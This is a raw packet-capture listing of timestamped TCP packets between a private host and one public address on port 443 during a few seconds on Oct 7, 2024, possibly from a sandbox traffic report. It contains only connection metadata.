Oct 7, 2024 06:46:04.333132982 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.394576073 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.394783020 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.394876003 CEST	49954	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.395018101 CEST	49954	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.395080090 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.395132065 CEST	49954	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.395148993 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.398524046 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.398554087 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.398828983 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.398828983 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.398863077 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.428266048 CEST	443	49953	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.428478956 CEST	443	49953	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.428572893 CEST	49953	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.428572893 CEST	49953	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.428657055 CEST	49953	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.428694963 CEST	443	49953	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.431072950 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.431103945 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.431152105 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.431211948 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.431299925 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.431313992 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.431328058 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.431350946 CEST	49955	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.431401968 CEST	49955	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.431425095 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.431447983 CEST	49955	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.431457043 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.433386087 CEST	49960	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.433478117 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.433561087 CEST	49960	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.438522100 CEST	49960	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.438560009 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.890868902 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.891372919 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.891393900 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.891896009 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.891901970 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.979680061 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.984157085 CEST	49957	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.984168053 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.984646082 CEST	49957	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.984652996 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.989660025 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.989759922 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.989804983 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.989833117 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.989857912 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.990062952 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.990080118 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.990092039 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.990098953 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.993057013 CEST	49961	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.993125916 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.993253946 CEST	49961	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.993377924 CEST	49961	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.993406057 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.060205936 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.080791950 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.080934048 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.081172943 CEST	49957	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.084037066 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.105237961 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.108115911 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.136419058 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.149882078 CEST	49960	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.149918079 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.150358915 CEST	49960	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.150366068 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.150578976 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.150592089 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.150913000 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.150917053 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.151240110 CEST	49957	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.151262045 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.151288033 CEST	49957	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.151294947 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.152786016 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.152796030 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.153187990 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.153193951 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.169369936 CEST	49962	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.169416904 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.169629097 CEST	49962	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.169671059 CEST	49962	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.169678926 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.247612000 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.247690916 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.247838020 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.249716043 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.249759912 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.249805927 CEST	49960	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.250276089 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.250300884 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.250345945 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.250354052 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.253904104 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.272128105 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.272154093 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.272167921 CEST	49958	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.272175074 CEST	443	49958	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.292336941 CEST	49960	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.292371035 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.292386055 CEST	49960	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.292395115 CEST	443	49960	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.311187029 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.311217070 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.311230898 CEST	49959	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.311239004 CEST	443	49959	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.324605942 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.324657917 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.324709892 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.382396936 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.382451057 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.382556915 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.382771015 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.382802010 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.384587049 CEST	49965	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.384629011 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.384723902 CEST	49965	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.384989977 CEST	49965	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.385008097 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.385350943 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.385366917 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.628204107 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.648981094 CEST	49961	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.649008989 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.656847954 CEST	49961	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.656858921 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.752331018 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.752353907 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.752422094 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.754977942 CEST	49961	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.783035994 CEST	49961	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.783055067 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.783097982 CEST	49961	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.783104897 CEST	443	49961	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.786166906 CEST	49966	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.786216974 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.786286116 CEST	49966	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.786448002 CEST	49966	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.786462069 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.822221994 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.827054024 CEST	49962	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.827075005 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.827518940 CEST	49962	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.827527046 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.924554110 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.924607992 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.924738884 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.924829960 CEST	49962	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.925051928 CEST	49962	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.925075054 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.925092936 CEST	49962	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.925098896 CEST	443	49962	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.928880930 CEST	49967	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.928977013 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:05.929099083 CEST	49967	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.929328918 CEST	49967	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:05.929363012 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.021419048 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.022211075 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.022243977 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.022727966 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.022732973 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.033971071 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.034337997 CEST	49965	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.034363985 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.034681082 CEST	49965	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.034688950 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.037184000 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.037452936 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.037497044 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.037777901 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.037792921 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.119741917 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.119796038 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.119926929 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.119997025 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.120058060 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.120393038 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.120419025 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.120429039 CEST	49963	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.120433092 CEST	443	49963	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.124028921 CEST	49968	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.124077082 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.124187946 CEST	49968	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.124419928 CEST	49968	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.124428034 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.134814024 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.134896040 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.134968996 CEST	49965	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.135150909 CEST	49965	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.135164022 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.135200024 CEST	49965	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.135205984 CEST	443	49965	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.138489008 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.138521910 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.138602018 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.138802052 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.138818979 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.144747972 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.144762039 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.144841909 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.144861937 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.144921064 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.145057917 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.145057917 CEST	49964	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.145096064 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.145119905 CEST	443	49964	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.147502899 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.147516966 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.147600889 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.147808075 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.147830963 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.421869040 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.422555923 CEST	49966	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.422585964 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.423036098 CEST	49966	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.423044920 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.521239996 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.521327972 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.521382093 CEST	49966	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.521538973 CEST	49966	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.521559954 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.521574974 CEST	49966	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.521583080 CEST	443	49966	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.525314093 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.525348902 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.525424957 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.525626898 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.525640011 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.571173906 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.571808100 CEST	49967	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.571839094 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.572557926 CEST	49967	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.572567940 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.675916910 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.676076889 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.676146984 CEST	49967	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.676309109 CEST	49967	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.676323891 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.676336050 CEST	49967	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.676341057 CEST	443	49967	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.679435968 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.679482937 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.679560900 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.679744005 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.679759979 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.781665087 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.782409906 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.794642925 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.794668913 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.795135021 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.795142889 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.795552969 CEST	49968	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.795566082 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.795939922 CEST	49968	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.795945883 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.834748983 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.835194111 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.835202932 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.835640907 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.835647106 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.891005993 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.891055107 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.891141891 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.891155958 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.891194105 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.891205072 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.891238928 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.891526937 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.891545057 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.891558886 CEST	49969	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.891566038 CEST	443	49969	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.892748117 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.893002033 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.893079042 CEST	49968	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.893732071 CEST	49968	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.893732071 CEST	49968	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.893755913 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.893767118 CEST	443	49968	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.895539999 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.895570993 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.895663023 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.896012068 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.896028042 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.896667957 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.896677971 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.896738052 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.896919966 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.896934032 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.942975998 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.943017006 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.943084002 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.943119049 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.943145990 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.943243027 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.943253994 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.943268061 CEST	49970	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.943274021 CEST	443	49970	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.945502043 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.945543051 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:06.945628881 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.945749044 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:06.945765972 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.174812078 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.175584078 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.175601959 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.176110029 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.176115990 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.277932882 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.277966022 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.277983904 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.278073072 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.278084040 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.278141022 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.324199915 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.324968100 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.324985027 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.325473070 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.325479031 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.364597082 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.364677906 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.364710093 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.364772081 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.364877939 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.364892006 CEST	443	49971	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.364906073 CEST	49971	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.364912987 CEST	443	49971	13.107.246.45	192.168.2.8
